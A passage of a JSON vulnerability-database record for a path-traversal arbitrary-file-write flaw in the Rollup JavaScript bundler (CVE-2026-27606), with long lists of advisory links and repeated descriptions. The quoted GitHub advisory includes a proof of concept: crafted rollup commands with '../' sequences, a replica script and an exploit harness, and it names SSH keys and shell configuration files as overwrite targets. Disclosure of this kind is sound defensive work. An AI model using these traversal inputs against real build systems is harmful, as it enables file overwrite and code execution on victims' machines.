2441268","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444839","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445356","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2447194","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448503","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456187","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458142","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_13508.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-14550","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-14550","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14550","tags":["advisory"]},{"url":"https://docs.djangoproject.com/en/dev/releases/security/","tags":["article"]},{"url":"https://groups.google.com/g/django-announce","tags":["article"]},{"url":"https://www.djangoproject.com/weblog/2026/feb/03/security-releases/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-69534","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-69534","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69534","tags":["advisory"]},{"url":"https://github.com/Python-Markdown/markdown","tags":["article"]},{"url":"https://github.com/Python-Markdown/markdown/actions/runs/15736122892","tags":["article"]},{"url":"https://github.com/Python-Markdown/markdown/issues/1534","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-6266","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-6266","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6266","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12382","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489126","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12382","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12382","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-23490","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-23490","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490","tags":["advisory"]},{"url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25679","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-25679","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25679","tags":["advisory"]},{"url":"https://go.dev/cl/752180","tags":["article"]},{"url":"https://go.dev/issue/77578","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/EdhZqrQ98hk","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4601","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-26996","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-26996","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26996","tags":["advisory"]},{"url":"https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5","tags":["article"]},{"url":"https://github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27459","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27459","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27459","tags":["advisory"]},{"url":"https://github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst","tags":["article"]},{"url":"https://github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408","tags":["article"]},{"url":"https://github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27606","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-30922","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-30922","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922","tags":["advisory"]},{"url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32597","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32597","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32597","tags":["advisory"]},{"url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39373","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39373","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39373","tags":["advisory"]},{"url":"https://github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5#Upgrading","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2438762","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2439070","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445132","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_13512.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-69873","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-69873","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69873","tags":["advisory"]},{"url":"https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-26007","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-26007","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26007","tags":["advisory"]},{"url":"https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c","tags":["article"]},{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-29074","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-29074","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29074","tags":["advisory"]},{"url":"https://github.com/svg/svgo/security/advisories/GHSA-xpqw-6gx7-v673","tags":["article"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261013-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1245302","tags":["report"]},{"url":"https://bugzilla.suse.com/1251995","tags":["report"]},{"url":"https://bugzilla.suse.com/1253004","tags":["report"]},{"url":"https://bugzilla.suse.com/1253174","tags":["report"]},{"url":"https://bugzilla.suse.com/1253347","tags":["report"]},{"url":"https://bugzilla.suse.com/1253659","tags":["report"]},{"url":"https://bugzilla.suse.com/1253738","tags":["report"]},{"url":"https://bugzilla.suse.com/1254589","tags":["report"]},{"url":"https://bugzilla.suse.com/1255340","tags":["report"]},{"url":"https://bugzilla.suse.com/1255588","tags":["report"]},{"url":"https://bugzilla.suse.com/1255781","tags":["report"]},{"url":"https://bugzilla.suse.com/1256803","tags":["report"]},{"url":"https://bugzilla.suse.com/1257329","tags":["report"]},{"url":"https://bugzilla.suse.com/1257337","tags":["report"]},{"url":"https://bugzilla.suse.com/1257349","tags":["report"]},{"url":"https://bugzilla.suse.com/1257442","tags":["report"]},{"url":"https://bugzilla.suse.com/1257841","tags":["report"]},{"url":"https://bugzilla.suse.com/1257897","tags":["report"]},{"url":"https://bugzilla.suse.com/1257941","tags":["report"]},{"url":"https://bugzilla.suse.com/1258136","tags":["report"]},{"url":"https://bugzilla.suse.com/1258893","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-12816","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-13465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3415","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-61140","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-68156","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-1615","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-21720","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-21721","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-21722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25547","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27606","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261148-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1254256","tags":["report"]},{"url":"https://bugzilla.suse.com/1254257","tags":["report"]},{"url":"https://bugzilla.suse.com/1254903","tags":["report"]},{"url":"https://bugzilla.suse.com/1254904","tags":["report"]},{"url":"https://bugzilla.suse.com/1254905","tags":["report"]},{"url":"https://bugzilla.suse.com/1257447","tags":["report"]},{"url":"https://bugzilla.suse.com/1258015","tags":["report"]},{"url":"https://bugzilla.suse.com/1258957","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62348","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62349","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-67724","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-67725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-67726","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261524-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1250367","tags":["report"]},{"url":"https://bugzilla.suse.com/1252548","tags":["report"]},{"url":"https://bugzilla.suse.com/1252964","tags":["report"]},{"url":"https://bugzilla.suse.com/1254154","tags":["report"]},{"url":"https://bugzilla.suse.com/1254619","tags":["report"]},{"url":"https://bugzilla.suse.com/1257660","tags":["report"]},{"url":"https://bugzilla.suse.com/1258418","tags":["report"]},{"url":"https://bugzilla.suse.com/1258595","tags":["report"]},{"url":"https://bugzilla.suse.com/1258873","tags":["report"]},{"url":"https://bugzilla.suse.com/1258927","tags":["report"]},{"url":"https://bugzilla.suse.com/1259208","tags":["report"]},{"url":"https://bugzilla.suse.com/1260263","tags":["report"]},{"url":"https://bugzilla.suse.com/1260267","tags":["report"]},{"url":"https://bugzilla.suse.com/1260878","tags":["report"]},{"url":"https://bugzilla.suse.com/1261025","tags":["report"]},{"url":"https://bugzilla.suse.com/1261026","tags":["report"]},{"url":"https://bugzilla.suse.com/1261027","tags":["report"]},{"url":"https://bugzilla.suse.com/1261029","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-21724","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-21725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26958","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27876","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27877","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28375","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33186","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262243-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1248699","tags":["report"]},{"url":"https://bugzilla.suse.com/1248707","tags":["report"]},{"url":"https://bugzilla.suse.com/1259999","tags":["report"]},{"url":"https://bugzilla.suse.com/1260881","tags":["report"]},{"url":"https://bugzilla.suse.com/1261810","tags":["report"]},{"url":"https://bugzilla.suse.com/1262222","tags":["report"]},{"url":"https://bugzilla.suse.com/1262950","tags":["report"]},{"url":"https://bugzilla.suse.com/1263501","tags":["report"]},{"url":"https://bugzilla.suse.com/1263986","tags":["report"]},{"url":"https://bugzilla.suse.com/1263987","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2022-21698","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-29923","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33375","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34986","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42151","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42154","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262265-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1249675","tags":["report"]},{"url":"https://bugzilla.suse.com/1259554","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-31958","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262363-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1257838","tags":["report"]},{"url":"https://bugzilla.suse.com/1258900","tags":["report"]},{"url":"https://bugzilla.suse.com/1259015","tags":["report"]},{"url":"https://bugzilla.suse.com/1265040","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-4802","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-27606","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2023-45288","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45339","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24358","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47911","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58058","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58190","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-5889","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64718","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6545","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6547","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-7783","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-1229","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25128","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25681","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26278","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26996","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27136","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-2739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33036","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33487","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33814","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39827","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39828","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39829","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39830","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39831","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42039","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46595","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46597","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46598","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-27606","title":"Rollup 4 has Arbitrary File Write via Path Traversal","description":"Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.","status":"published","published":"2026-02-25T02:08:06.682Z","modified":"2026-09-10T12:05:04.07Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"adp"}],"cwes":["CWE-22","CWE-22"],"updated_at":"2026-11-02T14:19:49.199185Z"}],"euvd":[{"id":"EUVD-2026-8589","description":"Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.","status":"published","published":"2026-02-25T02:08:06Z","modified":"2026-09-10T12:05:04Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T17:28:25.275283Z"}],"ghsa":[{"id":"GHSA-mw96-cpmx-2vgc","title":"Rollup 4 has Arbitrary File Write via Path Traversal","description":"### Summary\nThe Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.\n\n### Details\nThe vulnerability is caused by the combination of two flawed components in the Rollup core:\n\n1.  **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\\`). \n    ```typescript\n    // src/utils/sanitizeFileName.ts (Line 3)\n    const INVALID_CHAR_REGEX = /[\\u0000-\\u001F\"#$%\u0026*+,:;\u003c=\u003e?[\\]^`{|}\\u007F]/g;\n    ```\n    This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.\n\n2.  **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the \"sanitized\" filename.\n    ```typescript\n    // src/rollup/rollup.ts (Line 317)\n    const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);\n    ```\n    Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.\n\n### PoC\nA demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.\n\n**Scenario: CLI Named Input Exploit**\n1.  Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).\n2.  Execute Rollup with a specifically crafted named input where the key contains traversal characters:\n    ```bash\n    rollup --input \"a/../../pwned.js=main.js\" --dir dist\n    ```\n3.  **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.\n\n**Reproduction Files provided :**\n*   `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.\n*   `exploit.py`: Automated script to run the PoC and verify the file escape.\n\nvuln_app.js\n```js\nconst path = require('path');\nconst fs = require('fs');\n\n/**\n * REPLICATED ROLLUP VULNERABILITY\n * \n * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)\n * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)\n */\n\nfunction sanitize(name) {\n    // The vulnerability: Rollup's regex fails to strip dots and slashes, \n    // allowing path traversal sequences like '../'\n    return name.replace(/[\\u0000-\\u001F\"#$%\u0026*+,:;\u003c=\u003e?[\\]^`{|}\\u007F]/g, '_');\n}\n\nasync function build(userSuppliedName) {\n    const outputDir = path.join(__dirname, 'dist');\n    const fileName = sanitize(userSuppliedName);\n\n    // Vulnerability: path.resolve() follows traversal sequences in the filename\n    const outputPath = path.resolve(outputDir, fileName);\n\n    console.log(`[*] Target write path: ${outputPath}`);\n\n    if (!fs.existsSync(path.dirname(outputPath))) {\n        fs.mkdirSync(path.dirname(outputPath), { recursive: true });\n    }\n\n    fs.writeFileSync(outputPath, 'console.log(\"System Compromised!\");');\n    console.log(`[+] File written successfully.`);\n}\n\nbuild(process.argv[2] || 'bundle.js');\n\n```\n\nexploit.py\n```py\nimport subprocess\nfrom pathlib import Path\n\ndef run_poc():\n    # Target a file outside the 'dist' folder\n    poc_dir = Path(__file__).parent\n    malicious_filename = \"../pwned_by_rollup.js\"\n    target_path = poc_dir / \"pwned_by_rollup.js\"\n\n    print(f\"=== Rollup Path Traversal PoC ===\")\n    print(f\"[*] Malicious Filename: {malicious_filename}\")\n    \n    # Trigger the vulnerable app\n    subprocess.run([\"node\", \"poc/vuln_app.js\", malicious_filename])\n\n    if target_path.exists():\n        print(f\"[SUCCESS] File escaped 'dist' folder!\")\n        print(f\"[SUCCESS] Created: {target_path}\")\n        # target_path.unlink() # Cleanup\n    else:\n        print(\"[FAILED] Exploit did not work.\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n## POC \n```rollup --input \"bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js\" --dir dist```\n\n\u003cimg width=\"1918\" height=\"1111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4\" /\u003e\n\n\n\n### Impact\nThis is a **High** level of severity vulnerability.\n*   **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.\n*   **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.\n*   **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.","status":"published","published":"2026-02-25T22:37:26Z","modified":"2026-02-25T22:37:27Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:27.949248Z"}],"nvd":[{"id":"CVE-2026-27606","description":"Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.","status":"published","published":"2026-02-25T03:16:04.603Z","modified":"2026-09-10T13:18:01.097Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:07.027269Z"}],"osv":[{"id":"CVE-2026-27606","title":"Rollup 4 has Arbitrary File Write via Path Traversal","description":"Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.","status":"published","published":"2026-02-25T02:08:06.682Z","modified":"2026-10-28T02:30:34.925971723Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"DEBIAN-CVE-2026-27606","description":"Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.","status":"published","published":"2026-02-25T03:16:04.603Z","modified":"2026-10-01T03:03:02.048777642Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-mw96-cpmx-2vgc","title":"Rollup 4 has Arbitrary File Write via Path Traversal","description":"### Summary\nThe Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.\n\n### Details\nThe vulnerability is caused by the combination of two flawed components in the Rollup core:\n\n1.  **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\\`). \n    ```typescript\n    // src/utils/sanitizeFileName.ts (Line 3)\n    const INVALID_CHAR_REGEX = /[\\u0000-\\u001F\"#$%\u0026*+,:;\u003c=\u003e?[\\]^`{|}\\u007F]/g;\n    ```\n    This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.\n\n2.  **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the \"sanitized\" filename.\n    ```typescript\n    // src/rollup/rollup.ts (Line 317)\n    const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);\n    ```\n    Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary 